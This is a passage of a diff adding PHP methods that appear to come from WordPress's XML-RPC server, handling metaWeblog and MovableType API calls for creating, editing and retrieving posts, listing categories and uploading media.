+		$postdata = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'to_ping', 'post_type', 'post_name', 'post_password', 'post_parent', 'menu_order', 'tags_input', 'page_template');
+
+		$post_ID = $postdata['ID'] = get_default_post_to_edit( $post_type, true )->ID;
+
+		// Only posts can be sticky
+		if ( $post_type == 'post' && isset( $content_struct['sticky'] ) ) {
+			$data = $postdata;
+			$data['sticky'] = $content_struct['sticky'];
+			$error = $this->_toggle_sticky( $data );
+			if ( $error ) {
+				return $error;
+			}
+		}
+
+		if ( isset($content_struct['custom_fields']) )
+			$this->set_custom_fields($post_ID, $content_struct['custom_fields']);
+
+		if ( isset ( $content_struct['wp_post_thumbnail'] ) ) {
+			if ( set_post_thumbnail( $post_ID, $content_struct['wp_post_thumbnail'] ) === false )
+				return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
+
+			unset( $content_struct['wp_post_thumbnail'] );
+		}
+
+		// Handle enclosures
+		$thisEnclosure = isset($content_struct['enclosure']) ? $content_struct['enclosure'] : null;
+		$this->add_enclosure_if_new($post_ID, $thisEnclosure);
+
+		$this->attach_uploads( $post_ID, $post_content );
+
+		// Handle post formats if assigned, value is validated earlier
+		// in this function
+		if ( isset( $content_struct['wp_post_format'] ) )
+			set_post_format( $post_ID, $content_struct['wp_post_format'] );
+
+		$post_ID = wp_insert_post( $postdata, true );
+		if ( is_wp_error( $post_ID ) )
+			return new IXR_Error(500, $post_ID->get_error_message());
+
+		if ( !$post_ID )
+			return new IXR_Error(500, __('Sorry, your entry could not be posted.'));
+
+		/**
+		 * Fires after a new post has been successfully created via the XML-RPC MovableType API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the new post.
+		 * @param array $args    An array of arguments to create the new post.
+		 */
+		do_action( 'xmlrpc_call_success_mw_newPost', $post_ID, $args );
+
+		return strval($post_ID);
+	}
+
+	/**
+	 * Adds an enclosure to a post if it's new.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param integer $post_ID   Post ID.
+	 * @param array   $enclosure Enclosure data.
+	 */
+	public function add_enclosure_if_new( $post_ID, $enclosure ) {
+		if ( is_array( $enclosure ) && isset( $enclosure['url'] ) && isset( $enclosure['length'] ) && isset( $enclosure['type'] ) ) {
+			$encstring = $enclosure['url'] . "\n" . $enclosure['length'] . "\n" . $enclosure['type'] . "\n";
+			$found = false;
+			if ( $enclosures = get_post_meta( $post_ID, 'enclosure' ) ) {
+				foreach ( $enclosures as $enc ) {
+					// This method used to omit the trailing new line. #23219
+					if ( rtrim( $enc, "\n" ) == rtrim( $encstring, "\n" ) ) {
+						$found = true;
+						break;
+					}
+				}
+			}
+			if ( ! $found )
+				add_post_meta( $post_ID, 'enclosure', $encstring );
+		}
+	}
+
+	/**
+	 * Attach upload to a post.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $post_ID Post ID.
+	 * @param string $post_content Post Content for attachment.
+	 */
+	public function attach_uploads( $post_ID, $post_content ) {
+		global $wpdb;
+
+		// find any unattached files
+		$attachments = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts} WHERE post_parent = '0' AND post_type = 'attachment'" );
+		if ( is_array( $attachments ) ) {
+			foreach ( $attachments as $file ) {
+				if ( ! empty( $file->guid ) && strpos( $post_content, $file->guid ) !== false )
+					$wpdb->update($wpdb->posts, array('post_parent' => $post_ID), array('ID' => $file->ID) );
+			}
+		}
+	}
+
+	/**
+	 * Edit a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $content_struct
+	 *     @type int    $publish
+	 * }
+	 * @return bool|IXR_Error True on success.
+	 */
+	public function mw_editPost( $args ) {
+		$this->escape( $args );
+
+		$post_ID        = (int) $args[0];
+		$username       = $args[1];
+		$password       = $args[2];
+		$content_struct = $args[3];
+		$publish        = isset( $args[4] ) ? $args[4] : 0;
+
+		if ( ! $user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.editPost' );
+
+		$postdata = get_post( $post_ID, ARRAY_A );
+
+		/*
+		 * If there is no post data for the give post id, stop now and return an error.
+		 * Otherwise a new post will be created (which was the old behavior).
+		 */
+		if ( ! $postdata || empty( $postdata[ 'ID' ] ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+
+		// Use wp.editPost to edit post types other than post and page.
+		if ( ! in_array( $postdata[ 'post_type' ], array( 'post', 'page' ) ) )
+			return new IXR_Error( 401, __( 'Invalid post type.' ) );
+
+		// Thwart attempt to change the post type.
+		if ( ! empty( $content_struct[ 'post_type' ] ) && ( $content_struct['post_type'] != $postdata[ 'post_type' ] ) )
+			return new IXR_Error( 401, __( 'The post type may not be changed.' ) );
+
+		// Check for a valid post format if one was given
+		if ( isset( $content_struct['wp_post_format'] ) ) {
+			$content_struct['wp_post_format'] = sanitize_key( $content_struct['wp_post_format'] );
+			if ( !array_key_exists( $content_struct['wp_post_format'], get_post_format_strings() ) ) {
+				return new IXR_Error( 404, __( 'Invalid post format.' ) );
+			}
+		}
+
+		$this->escape($postdata);
+
+ 		$ID             = $postdata['ID'];
+ 		$post_content   = $postdata['post_content'];
+ 		$post_title     = $postdata['post_title'];
+ 		$post_excerpt   = $postdata['post_excerpt'];
+ 		$post_password  = $postdata['post_password'];
+ 		$post_parent    = $postdata['post_parent'];
+ 		$post_type      = $postdata['post_type'];
+ 		$menu_order     = $postdata['menu_order'];
+ 		$ping_status    = $postdata['ping_status'];
+ 		$comment_status = $postdata['comment_status'];
+
+		// Let WordPress manage slug if none was provided.
+		$post_name = $postdata['post_name'];
+		if ( isset($content_struct['wp_slug']) )
+			$post_name = $content_struct['wp_slug'];
+
+		// Only use a password if one was given.
+		if ( isset($content_struct['wp_password']) )
+			$post_password = $content_struct['wp_password'];
+
+		// Only set a post parent if one was given.
+		if ( isset($content_struct['wp_page_parent_id']) )
+			$post_parent = $content_struct['wp_page_parent_id'];
+
+		// Only set the menu_order if it was given.
+		if ( isset($content_struct['wp_page_order']) )
+			$menu_order = $content_struct['wp_page_order'];
+
+		$page_template = null;
+		if ( ! empty( $content_struct['wp_page_template'] ) && 'page' == $post_type )
+			$page_template = $content_struct['wp_page_template'];
+
+		$post_author = $postdata['post_author'];
+
+		// Only set the post_author if one is set.
+		if ( isset( $content_struct['wp_author_id'] ) ) {
+			// Check permissions if attempting to switch author to or from another user.
+			if ( $user->ID != $content_struct['wp_author_id'] || $user->ID != $post_author ) {
+				switch ( $post_type ) {
+					case 'post':
+						if ( ! current_user_can( 'edit_others_posts' ) ) {
+							return new IXR_Error( 401, __( 'Sorry, you are not allowed to change the post author as this user.' ) );
+						}
+						break;
+					case 'page':
+						if ( ! current_user_can( 'edit_others_pages' ) ) {
+							return new IXR_Error( 401, __( 'Sorry, you are not allowed to change the page author as this user.' ) );
+						}
+						break;
+					default:
+						return new IXR_Error( 401, __( 'Invalid post type.' ) );
+				}
+				$post_author = $content_struct['wp_author_id'];
+			}
+		}
+
+		if ( isset($content_struct['mt_allow_comments']) ) {
+			if ( !is_numeric($content_struct['mt_allow_comments']) ) {
+				switch ( $content_struct['mt_allow_comments'] ) {
+					case 'closed':
+						$comment_status = 'closed';
+						break;
+					case 'open':
+						$comment_status = 'open';
+						break;
+					default:
+						$comment_status = get_default_comment_status( $post_type );
+						break;
+				}
+			} else {
+				switch ( (int) $content_struct['mt_allow_comments'] ) {
+					case 0:
+					case 2:
+						$comment_status = 'closed';
+						break;
+					case 1:
+						$comment_status = 'open';
+						break;
+					default:
+						$comment_status = get_default_comment_status( $post_type );
+						break;
+				}
+			}
+		}
+
+		if ( isset($content_struct['mt_allow_pings']) ) {
+			if ( !is_numeric($content_struct['mt_allow_pings']) ) {
+				switch ( $content_struct['mt_allow_pings'] ) {
+					case 'closed':
+						$ping_status = 'closed';
+						break;
+					case 'open':
+						$ping_status = 'open';
+						break;
+					default:
+						$ping_status = get_default_comment_status( $post_type, 'pingback' );
+						break;
+				}
+			} else {
+				switch ( (int) $content_struct["mt_allow_pings"] ) {
+					case 0:
+						$ping_status = 'closed';
+						break;
+					case 1:
+						$ping_status = 'open';
+						break;
+					default:
+						$ping_status = get_default_comment_status( $post_type, 'pingback' );
+						break;
+				}
+			}
+		}
+
+		if ( isset( $content_struct['title'] ) )
+			$post_title =  $content_struct['title'];
+
+		if ( isset( $content_struct['description'] ) )
+			$post_content = $content_struct['description'];
+
+		$post_category = array();
+		if ( isset( $content_struct['categories'] ) ) {
+			$catnames = $content_struct['categories'];
+			if ( is_array($catnames) ) {
+				foreach ($catnames as $cat) {
+					$post_category[] = get_cat_ID($cat);
+				}
+			}
+		}
+
+		if ( isset( $content_struct['mt_excerpt'] ) )
+			$post_excerpt =  $content_struct['mt_excerpt'];
+
+		$post_more = isset( $content_struct['mt_text_more'] ) ? $content_struct['mt_text_more'] : null;
+
+		$post_status = $publish ? 'publish' : 'draft';
+		if ( isset( $content_struct["{$post_type}_status"] ) ) {
+			switch( $content_struct["{$post_type}_status"] ) {
+				case 'draft':
+				case 'pending':
+				case 'private':
+				case 'publish':
+					$post_status = $content_struct["{$post_type}_status"];
+					break;
+				default:
+					$post_status = $publish ? 'publish' : 'draft';
+					break;
+			}
+		}
+
+		$tags_input = isset( $content_struct['mt_keywords'] ) ? $content_struct['mt_keywords'] : null;
+
+		if ( 'publish' == $post_status || 'private' == $post_status ) {
+			if ( 'page' == $post_type && ! current_user_can( 'publish_pages' ) ) {
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this page.' ) );
+			} elseif ( ! current_user_can( 'publish_posts' ) ) {
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) );
+			}
+		}
+
+		if ( $post_more )
+			$post_content = $post_content . "<!--more-->" . $post_more;
+
+		$to_ping = null;
+		if ( isset( $content_struct['mt_tb_ping_urls'] ) ) {
+			$to_ping = $content_struct['mt_tb_ping_urls'];
+			if ( is_array($to_ping) )
+				$to_ping = implode(' ', $to_ping);
+		}
+
+		// Do some timestamp voodoo.
+		if ( !empty( $content_struct['date_created_gmt'] ) )
+			// We know this is supposed to be GMT, so we're going to slap that Z on there by force.
+			$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
+		elseif ( !empty( $content_struct['dateCreated']) )
+			$dateCreated = $content_struct['dateCreated']->getIso();
+
+		// Default to not flagging the post date to be edited unless it's intentional.
+		$edit_date = false;
+
+		if ( !empty( $dateCreated ) ) {
+			$post_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
+			$post_date_gmt = iso8601_to_datetime($dateCreated, 'GMT');
+
+			// Flag the post date to be edited.
+			$edit_date = true;
+		} else {
+			$post_date     = $postdata['post_date'];
+			$post_date_gmt = $postdata['post_date_gmt'];
+		}
+
+		// We've got all the data -- post it.
+		$newpost = compact('ID', 'post_content', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'comment_status', 'ping_status', 'edit_date', 'post_date', 'post_date_gmt', 'to_ping', 'post_name', 'post_password', 'post_parent', 'menu_order', 'post_author', 'tags_input', 'page_template');
+
+		$result = wp_update_post($newpost, true);
+		if ( is_wp_error( $result ) )
+			return new IXR_Error(500, $result->get_error_message());
+
+		if ( !$result )
+			return new IXR_Error(500, __('Sorry, your entry could not be edited.'));
+
+		// Only posts can be sticky
+		if ( $post_type == 'post' && isset( $content_struct['sticky'] ) ) {
+			$data = $newpost;
+			$data['sticky'] = $content_struct['sticky'];
+			$data['post_type'] = 'post';
+			$error = $this->_toggle_sticky( $data, true );
+			if ( $error ) {
+				return $error;
+			}
+		}
+
+		if ( isset($content_struct['custom_fields']) )
+			$this->set_custom_fields($post_ID, $content_struct['custom_fields']);
+
+		if ( isset ( $content_struct['wp_post_thumbnail'] ) ) {
+
+			// Empty value deletes, non-empty value adds/updates.
+			if ( empty( $content_struct['wp_post_thumbnail'] ) ) {
+				delete_post_thumbnail( $post_ID );
+			} else {
+				if ( set_post_thumbnail( $post_ID, $content_struct['wp_post_thumbnail'] ) === false )
+					return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
+			}
+			unset( $content_struct['wp_post_thumbnail'] );
+		}
+
+		// Handle enclosures.
+		$thisEnclosure = isset($content_struct['enclosure']) ? $content_struct['enclosure'] : null;
+		$this->add_enclosure_if_new($post_ID, $thisEnclosure);
+
+		$this->attach_uploads( $ID, $post_content );
+
+		// Handle post formats if assigned, validation is handled earlier in this function.
+		if ( isset( $content_struct['wp_post_format'] ) )
+			set_post_format( $post_ID, $content_struct['wp_post_format'] );
+
+		/**
+		 * Fires after a post has been successfully updated via the XML-RPC MovableType API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $post_ID ID of the updated post.
+		 * @param array $args    An array of arguments to update the post.
+		 */
+		do_action( 'xmlrpc_call_success_mw_editPost', $post_ID, $args );
+
+		return true;
+	}
+
+	/**
+	 * Retrieve post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type int    $post_ID
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function mw_getPost( $args ) {
+		$this->escape( $args );
+
+		$post_ID  = (int) $args[0];
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		$postdata = get_post($post_ID, ARRAY_A);
+		if ( ! $postdata )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.getPost' );
+
+		if ($postdata['post_date'] != '') {
+			$post_date = $this->_convert_date( $postdata['post_date'] );
+			$post_date_gmt = $this->_convert_date_gmt( $postdata['post_date_gmt'],  $postdata['post_date'] );
+			$post_modified = $this->_convert_date( $postdata['post_modified'] );
+			$post_modified_gmt = $this->_convert_date_gmt( $postdata['post_modified_gmt'], $postdata['post_modified'] );
+
+			$categories = array();
+			$catids = wp_get_post_categories($post_ID);
+			foreach ($catids as $catid)
+				$categories[] = get_cat_name($catid);
+
+			$tagnames = array();
+			$tags = wp_get_post_tags( $post_ID );
+			if ( !empty( $tags ) ) {
+				foreach ( $tags as $tag )
+					$tagnames[] = $tag->name;
+				$tagnames = implode( ', ', $tagnames );
+			} else {
+				$tagnames = '';
+			}
+
+			$post = get_extended($postdata['post_content']);
+			$link = get_permalink($postdata['ID']);
+
+			// Get the author info.
+			$author = get_userdata($postdata['post_author']);
+
+			$allow_comments = ('open' == $postdata['comment_status']) ? 1 : 0;
+			$allow_pings = ('open' == $postdata['ping_status']) ? 1 : 0;
+
+			// Consider future posts as published
+			if ( $postdata['post_status'] === 'future' )
+				$postdata['post_status'] = 'publish';
+
+			// Get post format
+			$post_format = get_post_format( $post_ID );
+			if ( empty( $post_format ) )
+				$post_format = 'standard';
+
+			$sticky = false;
+			if ( is_sticky( $post_ID ) )
+				$sticky = true;
+
+			$enclosure = array();
+			foreach ( (array) get_post_custom($post_ID) as $key => $val) {
+				if ($key == 'enclosure') {
+					foreach ( (array) $val as $enc ) {
+						$encdata = explode("\n", $enc);
+						$enclosure['url'] = trim(htmlspecialchars($encdata[0]));
+						$enclosure['length'] = (int) trim($encdata[1]);
+						$enclosure['type'] = trim($encdata[2]);
+						break 2;
+					}
+				}
+			}
+
+			$resp = array(
+				'dateCreated' => $post_date,
+				'userid' => $postdata['post_author'],
+				'postid' => $postdata['ID'],
+				'description' => $post['main'],
+				'title' => $postdata['post_title'],
+				'link' => $link,
+				'permaLink' => $link,
+				// commented out because no other tool seems to use this
+				//	      'content' => $entry['post_content'],
+				'categories' => $categories,
+				'mt_excerpt' => $postdata['post_excerpt'],
+				'mt_text_more' => $post['extended'],
+				'wp_more_text' => $post['more_text'],
+				'mt_allow_comments' => $allow_comments,
+				'mt_allow_pings' => $allow_pings,
+				'mt_keywords' => $tagnames,
+				'wp_slug' => $postdata['post_name'],
+				'wp_password' => $postdata['post_password'],
+				'wp_author_id' => (string) $author->ID,
+				'wp_author_display_name' => $author->display_name,
+				'date_created_gmt' => $post_date_gmt,
+				'post_status' => $postdata['post_status'],
+				'custom_fields' => $this->get_custom_fields($post_ID),
+				'wp_post_format' => $post_format,
+				'sticky' => $sticky,
+				'date_modified' => $post_modified,
+				'date_modified_gmt' => $post_modified_gmt
+			);
+
+			if ( !empty($enclosure) ) $resp['enclosure'] = $enclosure;
+
+			$resp['wp_post_thumbnail'] = get_post_thumbnail_id( $postdata['ID'] );
+
+			return $resp;
+		} else {
+			return new IXR_Error(404, __('Sorry, no such post.'));
+		}
+	}
+
+	/**
+	 * Retrieve list of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $numberposts
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function mw_getRecentPosts( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		if ( isset( $args[3] ) )
+			$query = array( 'numberposts' => absint( $args[3] ) );
+		else
+			$query = array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( ! current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.getRecentPosts' );
+
+		$posts_list = wp_get_recent_posts( $query );
+
+		if ( !$posts_list )
+			return array();
+
+		$recent_posts = array();
+		foreach ($posts_list as $entry) {
+			if ( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date = $this->_convert_date( $entry['post_date'] );
+			$post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] );
+			$post_modified = $this->_convert_date( $entry['post_modified'] );
+			$post_modified_gmt = $this->_convert_date_gmt( $entry['post_modified_gmt'], $entry['post_modified'] );
+
+			$categories = array();
+			$catids = wp_get_post_categories($entry['ID']);
+			foreach ( $catids as $catid )
+				$categories[] = get_cat_name($catid);
+
+			$tagnames = array();
+			$tags = wp_get_post_tags( $entry['ID'] );
+			if ( !empty( $tags ) ) {
+				foreach ( $tags as $tag ) {
+					$tagnames[] = $tag->name;
+				}
+				$tagnames = implode( ', ', $tagnames );
+			} else {
+				$tagnames = '';
+			}
+
+			$post = get_extended($entry['post_content']);
+			$link = get_permalink($entry['ID']);
+
+			// Get the post author info.
+			$author = get_userdata($entry['post_author']);
+
+			$allow_comments = ('open' == $entry['comment_status']) ? 1 : 0;
+			$allow_pings = ('open' == $entry['ping_status']) ? 1 : 0;
+
+			// Consider future posts as published
+			if ( $entry['post_status'] === 'future' )
+				$entry['post_status'] = 'publish';
+
+			// Get post format
+			$post_format = get_post_format( $entry['ID'] );
+			if ( empty( $post_format ) )
+				$post_format = 'standard';
+
+			$recent_posts[] = array(
+				'dateCreated' => $post_date,
+				'userid' => $entry['post_author'],
+				'postid' => (string) $entry['ID'],
+				'description' => $post['main'],
+				'title' => $entry['post_title'],
+				'link' => $link,
+				'permaLink' => $link,
+				// commented out because no other tool seems to use this
+				// 'content' => $entry['post_content'],
+				'categories' => $categories,
+				'mt_excerpt' => $entry['post_excerpt'],
+				'mt_text_more' => $post['extended'],
+				'wp_more_text' => $post['more_text'],
+				'mt_allow_comments' => $allow_comments,
+				'mt_allow_pings' => $allow_pings,
+				'mt_keywords' => $tagnames,
+				'wp_slug' => $entry['post_name'],
+				'wp_password' => $entry['post_password'],
+				'wp_author_id' => (string) $author->ID,
+				'wp_author_display_name' => $author->display_name,
+				'date_created_gmt' => $post_date_gmt,
+				'post_status' => $entry['post_status'],
+				'custom_fields' => $this->get_custom_fields($entry['ID']),
+				'wp_post_format' => $post_format,
+				'date_modified' => $post_modified,
+				'date_modified_gmt' => $post_modified_gmt,
+				'sticky' => ( $entry['post_type'] === 'post' && is_sticky( $entry['ID'] ) ),
+				'wp_post_thumbnail' => get_post_thumbnail_id( $entry['ID'] )
+			);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Retrieve the list of categories on a given blog.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function mw_getCategories( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.getCategories' );
+
+		$categories_struct = array();
+
+		if ( $cats = get_categories(array('get' => 'all')) ) {
+			foreach ( $cats as $cat ) {
+				$struct = array();
+				$struct['categoryId'] = $cat->term_id;
+				$struct['parentId'] = $cat->parent;
+				$struct['description'] = $cat->name;
+				$struct['categoryDescription'] = $cat->description;
+				$struct['categoryName'] = $cat->name;
+				$struct['htmlUrl'] = esc_html(get_category_link($cat->term_id));
+				$struct['rssUrl'] = esc_html(get_category_feed_link($cat->term_id, 'rss2'));
+
+				$categories_struct[] = $struct;
+			}
+		}
+
+		return $categories_struct;
+	}
+
+	/**
+	 * Uploads a file, following your settings.
+	 *
+	 * Adapted from a patch by Johann Richard.
+	 *
+	 * @link http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/
+	 *
+	 * @since 1.5.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $data
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function mw_newMediaObject( $args ) {
+		global $wpdb;
+
+		$username = $this->escape( $args[1] );
+		$password = $this->escape( $args[2] );
+		$data     = $args[3];
+
+		$name = sanitize_file_name( $data['name'] );
+		$type = $data['type'];
+		$bits = $data['bits'];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'metaWeblog.newMediaObject' );
+
+		if ( !current_user_can('upload_files') ) {
+			$this->error = new IXR_Error( 401, __( 'Sorry, you are not allowed to upload files.' ) );
+			return $this->error;
+		}
+
+		if ( is_multisite() && upload_is_user_over_quota( false ) ) {
+			$this->error = new IXR_Error( 401, __( 'Sorry, you have used your space allocation.' ) );
+			return $this->error;
+		}
+
+		/**
+		 * Filters whether to preempt the XML-RPC media upload.
+		 *
+		 * Passing a truthy value will effectively short-circuit the media upload,
+		 * returning that value as a 500 error instead.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param bool $error Whether to pre-empt the media upload. Default false.
+		 */
+		if ( $upload_err = apply_filters( 'pre_upload_error', false ) ) {
+			return new IXR_Error( 500, $upload_err );
+		}
+
+		$upload = wp_upload_bits($name, null, $bits);
+		if ( ! empty($upload['error']) ) {
+			/* translators: 1: file name, 2: error message */
+			$errorString = sprintf( __( 'Could not write file %1$s (%2$s).' ), $name, $upload['error'] );
+			return new IXR_Error( 500, $errorString );
+		}
+		// Construct the attachment array
+		$post_id = 0;
+		if ( ! empty( $data['post_id'] ) ) {
+			$post_id = (int) $data['post_id'];
+
+			if ( ! current_user_can( 'edit_post', $post_id ) )
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+		}
+		$attachment = array(
+			'post_title' => $name,
+			'post_content' => '',
+			'post_type' => 'attachment',
+			'post_parent' => $post_id,
+			'post_mime_type' => $type,
+			'guid' => $upload[ 'url' ]
+		);
+
+		// Save the data
+		$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id );
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+
+		/**
+		 * Fires after a new attachment has been added via the XML-RPC MovableType API.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $id   ID of the new attachment.
+		 * @param array $args An array of arguments to add the attachment.
+		 */
+		do_action( 'xmlrpc_call_success_mw_newMediaObject', $id, $args );
+
+		$struct = $this->_prepare_media_item( get_post( $id ) );
+
+		// Deprecated values
+		$struct['id']   = $struct['attachment_id'];
+		$struct['file'] = $struct['title'];
+		$struct['url']  = $struct['link'];
+
+		return $struct;
+	}
+
+	/* MovableType API functions
+	 * specs on http://www.movabletype.org/docs/mtmanual_programmatic.html
+	 */
+
+	/**
+	 * Retrieve the post titles of recent posts.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type int    $numberposts
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function mt_getRecentPostTitles( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		if ( isset( $args[3] ) )
+			$query = array( 'numberposts' => absint( $args[3] ) );
+		else
+			$query = array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.getRecentPostTitles' );
+
+		$posts_list = wp_get_recent_posts( $query );
+
+		if ( !$posts_list ) {
+			$this->error = new IXR_Error(500, __('Either there are no posts, or something went wrong.'));
+			return $this->error;
+		}
+
+		$recent_posts = array();
+
+		foreach ($posts_list as $entry) {
+			if ( !current_user_can( 'edit_post', $entry['ID'] ) )
+				continue;
+
+			$post_date = $this->_convert_date( $entry['post_date'] );
+			$post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] );
+
+			$recent_posts[] = array(
+				'dateCreated' => $post_date,
+				'userid' => $entry['post_author'],
+				'postid' => (string) $entry['ID'],
+				'title' => $entry['post_title'],
+				'post_status' => $entry['post_status'],
+				'date_created_gmt' => $post_date_gmt
+			);
+		}
+
+		return $recent_posts;
+	}
+
+	/**
+	 * Retrieve list of all categories on blog.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id (unused)
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function mt_getCategoryList( $args ) {
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.getCategoryList' );
+
+		$categories_struct = array();
+
+		if ( $cats = get_categories(array('hide_empty' => 0, 'hierarchical' => 0)) ) {
+			foreach ( $cats as $cat ) {
+				$struct = array();
+				$struct['categoryId'] = $cat->term_id;
+				$struct['categoryName'] = $cat->name;
+
+				$categories_struct[] = $struct;
+			}
+		}
+
+		return $categories_struct;
+	}
+
+	/**
+	 * Retrieve post categories.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $post_ID
+	 *     @type string $username
+	 *     @type string $password
+	 * }
+	 * @return array|IXR_Error
+	 */
+	public function mt_getPostCategories( $args ) {
+		$this->escape( $args );
+
+		$post_ID  = (int) $args[0];
+		$username = $args[1];
+		$password = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( ! get_post( $post_ID ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can( 'edit_post', $post_ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.getPostCategories' );
+
+		$categories = array();
+		$catids = wp_get_post_categories(intval($post_ID));
+		// first listed category will be the primary category
+		$isPrimary = true;
+		foreach ( $catids as $catid ) {
+			$categories[] = array(
+				'categoryName' => get_cat_name($catid),
+				'categoryId' => (string) $catid,
+				'isPrimary' => $isPrimary
+			);
+			$isPrimary = false;
+		}
+
+		return $categories;
+	}
+
+	/**
+	 * Sets categories for a post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $post_ID
+	 *     @type string $username
+	 *     @type string $password
+	 *     @type array  $categories
+	 * }
